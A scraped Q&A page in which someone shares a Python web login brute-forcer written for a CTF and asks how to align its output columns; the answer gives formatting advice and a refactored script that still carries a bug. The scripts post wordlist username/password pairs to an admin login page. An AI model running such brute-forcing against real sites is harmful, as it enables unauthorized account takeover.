I create a Web-Bruteforce project with Python for CTFs. I ran it.
As you can see something’s wrong. It isn’t regular. How can I print them more beautifully? These are my codes:
JavaScript
x
32
32
1
try:
2
try:
3
import requests
4
except:
5
print("You have to install "requests" via pip")
6
7
header={"Cookie":"CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
8
username = open("username.txt","r")
9
username_content = username.read()
10
username.close()
11
12
password = open("common10k.txt","r")
13
password_content = password.read()
14
password.close()
15
16
id=0
17
18
print("=====================================================================")
19
print("ID Username Password Status_Code Length")
20
print("=====================================================================")
21
22
for u in username_content.splitlines():
23
for p in password_content.splitlines():
24
url = "http://10.10.255.177/simple/admin/login.php"
25
data = {"username":f"{u}","password":f"{p}","submit":"Submit"}
26
sonuc = requests.post(url=url,data=data,headers=header)
27
id+=1
28
print(f"{id} {u} {p} {sonuc.status_code} {len(sonuc.content)}")
29
30
except KeyboardInterrupt:
31
print("Exiting...")
32
(These IP addresses and the cookie were for a CTF)
Advertisement
Answer
You can specify a size for the formatting and the content will be padded with spaces
JavaScript
1
13
13
1
# header
2
print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")
3
4
count = 0
5
6
for u in username_content.splitlines():
7
for p in password_content.splitlines():
8
url = "http://10.10.255.177/simple/admin/login.php"
9
data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
10
sonuc = requests.post(url=url, data=data, headers=header)
11
count += 1
12
print(f"{count:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")
13
More
Do not use
id
builtin keywordRead file with a
with
, you don’t need to think about closing it soJavaScript131with open("username.txt", "r") as username:
2username_content = username.read()
3
Or read it with
pathlib
JavaScript131from pathlib import Path
2username_content = Path("username.txt").read_text()
3
You can use
itertools.product
to use onefor-loop
JavaScript121for u, p in product(username_content.splitlines(), password_content.splitlines()):
2
Use
enumerate
to get thecount
auto-generatedJavaScript121for idx, (u, p) in enumerate(product(username_content.splitlines(), password_content.splitlines())):
2
Final code
JavaScript
1
25
25
1
try:
2
try:
3
import requests
4
from pathlib import Path
5
from itertools import product
6
except:
7
print("You have to install "requests" via pip")
8
9
url = "http://10.10.255.177/simple/admin/login.php"
10
header = {"Cookie": "CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
11
username_content = Path("username.txt").read_text().splitlines()
12
password_content = Path("common10k.txt").read_text().splitlines()
13
14
print("=" * 70)
15
print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")
16
print("=" * 70)
17
18
for idx, (u, p) in enumerate(product(username_content, password_content)):
19
data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
20
sonuc = requests.post(url=url, data=data, headers=header)
21
print(f"{id:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")
22
23
except KeyboardInterrupt:
24
print("Exiting...")
25